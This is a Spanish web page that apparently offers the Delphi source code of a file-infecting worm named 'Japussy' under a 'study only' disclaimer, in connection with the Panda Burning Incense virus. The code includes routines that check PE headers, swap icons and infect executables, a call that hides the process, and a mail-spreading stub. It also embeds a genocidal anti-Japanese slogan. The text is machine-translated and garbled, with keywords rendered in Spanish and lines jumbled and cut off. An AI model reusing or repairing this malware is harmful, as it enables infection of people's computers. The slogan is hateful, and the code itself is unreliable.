Red de conocimiento informático - Conocimiento informático - ¿Cuál es la versión imitadora de Panda Burning Incense?

¿Cuál es la versión imitadora de Panda Burning Incense?

Código fuente del virus Panda Burning Incense

------------------------------------- --- ------------------------------------

Solo Es para estudio e investigación únicamente, de lo contrario serás responsable de las consecuencias. ¡Este sitio web no asume ninguna responsabilidad por esto!

Código:----------------------------------------- ---------------------------------------

Código de programa

Programa Japussy

utiliza

Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro};

const

HeaderSize = 82432; //Tamaño del virus

IconOffset = $12EB8; //Desplazamiento del icono principal del archivo PE

//Tamaño compilado en mi Delphi 5 SP1, otras versiones de Delphi pueden variar

//Buscando la cadena hexadecimal 2800000020 encontrará el desplazamiento del icono principal

{

HeaderSize = 38912 / / Tamaño del cuerpo del virus comprimido Upx

IconOffset = $92BC; //Desplazamiento del icono principal del archivo PE comprimido Upx

//Uso de Upx 1.24W: upx -9 --8086 Japussy<. /p>

}

IconSize = $2E8; //El tamaño del icono principal del archivo PE - 744 bytes

IconTail = IconOffset IconSize; ícono del archivo PE Cola del ícono

ID = $4444444444; //Marca de infección

//Código basura escrito

Catchword = 'Si es necesario eliminar una raza, debe ser Yamato.

'

'¡Si hay que destruir un país, ese debe ser Japón! '

'*** W32.Japussy.Worm.A ***';

{$R *.RES}

función RegisterServiceProcess(dwProcessID, dwType: Integer):

stdcall; external ' Kernel32.dll'; //declaración de función

var

TmpFile: string; > Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo

<); p> si no GetVersionEx(Ver) entonces

Salir;

si (Ver.dwPlatformID = VER _PLATFORM_WIN32_WINDOWS) entonces //Win9x

Resultado:= Verdadero;

fin;

{Copiar entre secuencias}

procedimiento CopyStream(Src: TStream; sStartPos.Integer; Dst: Src: TStream; sStartPos: Integer ; Count : Entero);

var

sCurPos, dCurPos: Buscar(sCurPos, 0);

Dst.Seek(dCurPos, 0);

var

p>

end;

{Extraiga el archivo host del archivo PE infectado para usarlo}

procedimiento ExtractFile(FileName: string);

var

sStream, dStream: .lpReserved2:= nil;

end

{ Enviar correo envenenado }

procedimiento SendMail;

comenzar

// ¿Quién de ustedes quiere terminar?

end;

{Archivo PE infectado}

procedimiento InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream , DstStream: Idid: LongInt;

aIcon: TIcon;

Infectado, IsPE: valor booleano

Entero; IdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream: Integer

Buf.Array[0..1] de Char;

comenzar

intentar //Error, entonces se está utilizando el archivo, salir

si CompareText(FileName, 'JAPUSSY.EXE') = 0 entonces //Es Usted mismo entonces no hay infección

Salir

Infectado := False

IsPE := False

SrcStream := TFileStream.Create; (Nombre de archivo, fmOpenRead);

intente

for i := 0 a $108 do // Verifique el encabezado del archivo PE

comience

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);